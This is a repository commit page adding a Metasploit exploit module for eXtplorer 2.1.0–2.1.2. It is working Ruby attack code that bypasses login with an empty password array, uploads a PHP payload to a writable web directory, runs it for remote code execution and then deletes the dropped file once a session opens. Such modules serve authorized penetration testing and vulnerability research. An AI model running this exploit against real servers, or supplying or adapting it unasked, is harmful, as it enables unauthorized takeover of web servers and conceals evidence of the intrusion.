Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add eXtplorer v2.1 auth bypass exploit module
- Loading branch information
Showing
1 changed file
with
228 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,228 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability", | ||
'Description' => %q{ | ||
This module exploits an authentication bypass vulnerability in eXtplorer | ||
versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application. | ||
This application has an upload feature that allows an authenticated user | ||
with administrator roles to upload arbitrary files to any writable | ||
directory in the web root. This module uses an authentication bypass | ||
vulnerability to upload and execute a file. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit | ||
], | ||
'References' => | ||
[ | ||
['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'], | ||
['URL', 'http://extplorer.net/issues/105'] | ||
], | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00" | ||
}, | ||
'DefaultOptions' => | ||
{ | ||
'ExitFunction' => "none" | ||
}, | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Targets' => | ||
[ | ||
['Automatic Targeting', { 'auto' => true }] | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => "Dec 31 2012", | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']), | ||
OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin']) | ||
], self.class) | ||
end | ||
|
||
def check | ||
|
||
base = target_uri.path | ||
base << '/' if base[-1, 1] != '/' | ||
peer = "#{rhost}:#{rport}" | ||
|
||
# retrieve software version from ./extplorer.xml | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => "#{base}extplorer.xml" | ||
}) | ||
|
||
return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/ | ||
return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/ | ||
return Exploit::CheckCode::Safe | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | ||
print_error("#{peer} - Connection failed") | ||
end | ||
return Exploit::CheckCode::Unknown | ||
|
||
end | ||
|
||
def on_new_session(client) | ||
if client.type == "meterpreter" | ||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") | ||
client.fs.file.rm("#{@fname}") | ||
else | ||
client.shell_command_token("rm #{@fname}") | ||
end | ||
end | ||
|
||
def upload(base, dir, fname, file) | ||
|
||
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" | ||
data_post = "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n" | ||
data_post << "Content-Type: application/x-httpd-php\r\n" | ||
data_post << "\r\n#{file}\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n" | ||
data_post << "--#{boundary}\r\n" | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => "#{base}index.php", | ||
'ctype' => "multipart/form-data; boundary=#{boundary}", | ||
'data' => data_post, | ||
'cookie' => datastore['COOKIE'], | ||
}) | ||
|
||
return res | ||
end | ||
|
||
def auth_bypass(base, user) | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => "#{base}index.php", | ||
'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=", | ||
'cookie' => datastore['COOKIE'], | ||
}) | ||
return res | ||
|
||
end | ||
|
||
def exploit | ||
|
||
base = target_uri.path | ||
base << '/' if base[-1, 1] != '/' | ||
@peer = "#{rhost}:#{rport}" | ||
@fname= rand_text_alphanumeric(rand(10)+6) + '.php' | ||
user = datastore['USERNAME'] | ||
datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";" | ||
|
||
# bypass auth | ||
print_status("#{@peer} - Authenticating as user (#{user})") | ||
res = auth_bypass(base, user) | ||
if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/ | ||
print_status("#{@peer} - Authenticated successfully") | ||
else | ||
print_error("#{@peer} - Authentication failed") | ||
return | ||
end | ||
|
||
# search for writable directories | ||
print_status("#{@peer} - Retrieving writable subdirectories") | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => "#{base}index.php", | ||
'cookie' => datastore['COOKIE'], | ||
'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root", | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | ||
print_error("#{@peer} - Connection failed") | ||
return | ||
end | ||
if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/ | ||
dir = "#{base}#{$1}" | ||
print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})") | ||
else | ||
dir = "#{base}" | ||
print_error("#{@peer} - Could not find a writable subdirectory.") | ||
end | ||
|
||
# upload PHP payload | ||
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}") | ||
php = %Q|<?php #{payload.encoded} ?>| | ||
begin | ||
res = upload(base, dir, @fname, php) | ||
if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/ | ||
print_good("#{@peer} - File uploaded successfully") | ||
else | ||
print_error("#{@peer} - Uploading PHP payload failed") | ||
return | ||
end | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | ||
print_error("#{@peer} - Connection failed") | ||
return | ||
end | ||
|
||
# search directories in the web root for the file | ||
print_status("#{@peer} - Searching directories for file (#{@fname})") | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => "#{base}index.php", | ||
'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}", | ||
'cookie' => datastore['COOKIE'], | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | ||
print_error("#{@peer} - Connection failed") | ||
return | ||
end | ||
if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/ | ||
dir = $1.gsub('\\','') | ||
print_good("#{@peer} - Successfully found file") | ||
else | ||
print_error("#{@peer} - Failed to find file") | ||
end | ||
|
||
# retrieve and execute PHP payload | ||
print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})") | ||
begin | ||
send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => "/#{dir}/#{@fname}" | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | ||
print_error("#{@peer} - Connection failed") | ||
return | ||
end | ||
if res and res.code != 200 | ||
print_error("#{@peer} - Executing payload failed") | ||
end | ||
end | ||
end |